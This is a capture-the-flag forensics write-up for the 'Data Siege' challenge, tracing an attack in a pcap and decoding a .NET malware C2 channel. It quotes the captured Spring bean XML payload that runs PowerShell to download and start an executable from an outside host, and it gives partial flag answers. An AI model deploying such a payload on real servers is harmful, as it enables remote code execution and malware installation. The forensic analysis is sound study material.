Data Siege

Description

POINTS: 400 DIFFICULTY: medium

It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts.

Analysis

If we filter given pcap file in wireshark for HTTP we get interactions. First one seems to exploit XXE on Spring and download file: aQ4caZ.exe.

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>cmd.exe</value>
      <value>/c</value>
      <value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
    </list>
  </constructor-arg>
</bean>
</beans>

To export go to File -> Export Objects -> HTTP It seems to be NET framework binary so to debug we'll need dnSpy (Windows).

The program seems to communicate to C2 via TCP.

data-siege-1

In encrypted form

data-siege-2

Solution

Extract messages going in and out:

I used C# to decode the values:

chevron-rightProgram.cshashtag
chevron-rightProgram_output.txthashtag

Idk why I thought C# would be fun... It wasnt!

We get 2 parts of the flag from the output:

  1. ...HTB{c0mmun1c4710n5_>>_C:\Users...

  2. ...2nd_flag_part:__h45_b33n_r357...

In the traffic one command was not encrpyted:

data-siege-3
circle-check
circle-info

Last updated